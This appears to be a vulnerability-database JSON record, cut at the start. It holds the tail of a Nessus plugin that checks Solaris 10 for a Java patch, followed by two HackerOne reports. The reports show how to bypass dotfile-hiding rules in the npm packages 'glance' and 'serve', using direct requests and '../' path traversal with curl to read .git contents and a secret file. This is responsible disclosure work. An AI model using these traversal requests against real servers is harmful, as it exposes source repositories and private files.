Inc.\n#\n# The descriptive text in this plugin was\n# extracted from the Oracle SunOS Patch Updates.\n#\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(121179);\n script_version(\"1.2\");\n script_cvs_date(\"Date: 2019/01/18 9:42:13\");\n\n script_name(english:\"Solaris 10 (sparc) : 152927-02\");\n script_summary(english:\"Check for patch 152927-02\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote host is missing Sun Security Patch number 152927-02\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"JavaSE 8: update 202 patch (equivalent to JDK 8u202), 64bit.\nDate this patch was last updated by Sun : Jan/14/19\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://getupdates.oracle.com/readme/152927-02\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Install patch 152927-02\");\n script_set_attribute(attribute:\"risk_factor\", value:\"High\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:solaris:10:151009\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:solaris:10:152100\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:solaris:10:152927\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:solaris:10\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/01/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/01/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Solaris Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Solaris/showrev\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"solaris.inc\");\n\nshowrev = get_kb_item(\"Host/Solaris/showrev\");\nif (empty_or_null(showrev)) audit(AUDIT_OS_NOT, \"Solaris\");\nos_ver = pregmatch(pattern:\"Release: (\\d+.(\\d+))\", string:showrev);\nif (empty_or_null(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Solaris\");\nfull_ver = os_ver[1];\nos_level = os_ver[2];\nif (full_ver != \"5.10\") audit(AUDIT_OS_NOT, \"Solaris 10\", \"Solaris \" + os_level);\npackage_arch = pregmatch(pattern:\"Application architecture: (\\w+)\", string:showrev);\nif (empty_or_null(package_arch)) audit(AUDIT_UNKNOWN_ARCH);\npackage_arch = package_arch[1];\nif (package_arch != \"sparc\") audit(AUDIT_ARCH_NOT, \"sparc\", package_arch);\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nif (solaris_check_patch(release:\"5.10\", arch:\"sparc\", patch:\"152927-02\", obsoleted_by:\"\", package:\"SUNWj8cfg\", version:\"1.8.0,REV=2014.03.18.08.02\") < 0) flag++;\nif (solaris_check_patch(release:\"5.10\", arch:\"sparc\", patch:\"152927-02\", obsoleted_by:\"\", package:\"SUNWj8dev\", version:\"1.8.0,REV=2014.03.18.08.02\") < 0) flag++;\nif (solaris_check_patch(release:\"5.10\", arch:\"sparc\", patch:\"152927-02\", obsoleted_by:\"\", package:\"SUNWj8dmo\", version:\"1.8.0,REV=2014.03.18.08.02\") < 0) flag++;\nif (solaris_check_patch(release:\"5.10\", arch:\"sparc\", patch:\"152927-02\", obsoleted_by:\"\", package:\"SUNWj8jmp\", version:\"1.8.0,REV=2014.03.18.08.02\") < 0) flag++;\nif (solaris_check_patch(release:\"5.10\", arch:\"sparc\", patch:\"152927-02\", obsoleted_by:\"\", package:\"SUNWj8man\", version:\"1.8.0,REV=2014.03.18.08.02\") < 0) flag++;\nif (solaris_check_patch(release:\"5.10\", arch:\"sparc\", patch:\"152927-02\", obsoleted_by:\"\", package:\"SUNWj8rt\", version:\"1.8.0,REV=2014.03.18.08.02\") < 0) flag++;\n\nif (flag) {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : solaris_get_report()\n );\n} else {\n patch_fix = solaris_patch_fix_get();\n if (!empty_or_null(patch_fix)) audit(AUDIT_PATCH_INSTALLED, patch_fix, \"Solaris 10\");\n tested = solaris_pkg_tests_get();\n if (!empty_or_null(tested)) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n audit(AUDIT_PACKAGE_NOT_INSTALLED, \"SUNWj8cfg / SUNWj8dev / SUNWj8dmo / SUNWj8jmp / SUNWj8man / etc\");\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "hackerone": [{"lastseen": "2019-03-24T08:15:41", "bulletinFamily": "bugbounty", "bounty": 0.0, "description": "I would like to report sensitive information disclosure in `glance`.\nSimilar to #486933 in ways\n\n# Module\n\n**module name:** glance\n**version:** 3.0.5\n**npm page:** `https://www.npmjs.com/package/glance`\n\n## Module Description\n\na quick disposable http server for static files\n\n## Module Stats\n\n**weekly downloads**\n41\n\n# Vulnerability\n\n## Vulnerability Description\n\nThe `glance` modules allows directory browsing and to serve static files through the browser.\nThe config option `nodot` can be used to prevent serving sensitive folders such as `.git` or `.DS_Store` \nrefer: https://github.com/jarofghosts/glance#command-line-options\nThis rule can be bypassed using the technique below which can lead to sensitive information disclosure (An interesting example: https://smitka.me/).\n\n## Steps To Reproduce:\n\n- Install `glance`\n```\n$ npm install -g glance\n```\n\n- Inside a project directory, initialise `git`.\n```\n$ git init\n```\n\n- Add rule to ignore dotfiles in `.glance.json`\n```json\n{\n \"nodot\": true\n}\n```\n\n- Start `glance` in current directory.\n```\n$ glance --verbose\nglance serving /project/directory on port 8080\n```\n\n- Now, current directory will be served by serve with the exception of folder `.git` and file `.gitignore`.\n- If we try to curl .`git` or `.gitignore` we get a Not Found error\n```\n$ curl --path-as-is 127.0.0.1:8080/.git\n...\n<title>File Not Found</title>\n...\n```\n\n- Although if we try to fetch files/folders inside a forbidden [dot]folder there is no problem at all and most of it's content can be extracted successfully (except dotfiles itself).\n```\n$ curl --path-as-is 127.0.0.1:8080/.git/HEAD \nref: refs/heads/master\n```\n\n>The structure of git repository is well known, so it is possible to found references to the objects/packs in the repository, download them via direct requests and reconstruct the repository and obtain your files \u2013 not only the current ones, but also the past files. \n\n## Supporting Material/References:\n\n- Ubuntu 16.04\n- node v11.3.0\n- npm 6.7.0\n\n# Wrap up\n\n> Select Y or N for the following statements:\n\n- I contacted the maintainer to let them know: [N]\n- I opened an issue in the related repository: [N] \n\n>Hunter's comments and funny memes goes here\n\n{F416786}\n\n## Impact\n\nThe essentially bypasses the `nodot` feature and allows an attacker to read from a directory that the victim has not allowed access to.\n\nReferences:\n- https://github.com/jarofghosts/glance#command-line-options\n- https://smitka.me/", "modified": "2019-02-28T19:25:51", "published": "2019-02-02T15:32:02", "id": "H1:490379", "href": "https://hackerone.com/reports/490379", "type": "hackerone", "title": "Node.js third-party modules: [glance] Access unlisted internal files/folders revealing sensitive information", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-02-08T02:38:53", "bulletinFamily": "bugbounty", "bounty": 0.0, "description": "I would like to report sensitive information disclosure in serve.\nBypass of #308721 in ways.\n\n# Module\n\n**module name:** serve\n**version:** 10.1.1\n**npm page:** `https://www.npmjs.com/package/serve\n\n## Module Description\n\nAssuming you would like to serve a static site, single page application or just a static file (no matter if on your device or on the local network), this package is just the right choice for you.\n\nIt behaves exactly like static deployments on Now, so it's perfect for developing your static project. Then, when it's time to push it into production, you deploy it.\n\nFurthermore, it provides a neat interface for listing the directory's contents\n\n## Module Stats\n\n**weekly downloads**\n138,377\n\n# Vulnerability\n\n## Vulnerability Description\n\nThe `serve` modules allows directory browsing and to serve static files through the browser.\nThe config options `unlisted` and `rewrites` can be used to tell the module which file or directory are forbidden and should not be served. \nrefer: https://github.com/zeit/serve-handler/issues/48\nThis rule can be bypassed using the technique below which can lead to sensitive information disclosure (An interesting example: https://smitka.me/).\n\n## Steps To Reproduce:\n\n- Install `serve`\n```\n$ npm install -g serve\n```\n\n- Inside a project directory, initialise `git` and create `404.html`.\n```\n$ git init\n$ echo \"404 Not Found\" > 404.html\n$ echo \"secret text\" > secret\n```\n\n- Add rule to ignore `.git` folder in `serve.json`\n```json\n{\n \"rewrites\": [\n { \"source\": \".git/**\", \"destination\": \"/404.html\" },\n { \"source\": \"secret\", \"destination\": \"/404.html\" }\n ],\n \"unlisted\": [\n \".git\"\n ]\n }\n```\n\n- Start `serve` in current directory.\n\n```\n$ serve\nINFO: Discovered configuration in `serve.json`\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502\n \u2502 Serving! \u2502\n \u2502 \u2502\n \u2502 - Local: http://localhost:5000 \u2502\n \u2502 - On Your Network: http://127.0.1.1:5000 \u2502\n \u2502 \u2502\n \u2502 Copied local address to clipboard! \u2502\n \u2502 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n- Now, current directory will be served by `serve` with the exception of folder `.git` and file `secret`.\n- If we try to curl `.git`or `secret` we get a Not Found error\n```\n$ curl http://localhost:5000/.git --path-as-is \n404 Not Found\n$ curl http://localhost:5000/secret --path-as-is\n404 Not Found\n```\n\n- Although if we request any other url and then navigate back to the forbidden files/folders using `../` scheme, we are able to extract it's contents successfully.\n```\n$ curl http://localhost:5000/any/../.git/HEAD --path-as-is\nref: refs/heads/master\n$ curl http://localhost:5000/any/../secret --path-as-is \nsecret text\n```\n\n\n## Supporting Material/References:\n\n- Ubuntu 16.04\n- node v11.3.0\n- npm 6.7.0\n\n# Wrap up\n\n\n\n- I contacted the maintainer to let them know: N\n- I opened an issue in the related repository: N\n\n## Impact\n\nThe essentially bypasses the `unlisted` and `rewrites` files/folders feature and allows an attacker to read from a directory/file that the victim has not allowed access to.\n\n**References:**\n- https://github.com/zeit/serve-handler#options\n- https://github.com/zeit/serve-handler/issues/48", "modified": "2019-02-07T21:22:35", "published": "2019-01-27T15:55:48", "id": "H1:486933", "href": "https://hackerone.com/reports/486933", "type": "hackerone", "title": "Node.js third-party modules: [serve] Access unlisted internal files/folders revealing sensitive information", "cvss": {"score": 0.0, "vector": "NONE"}}]}
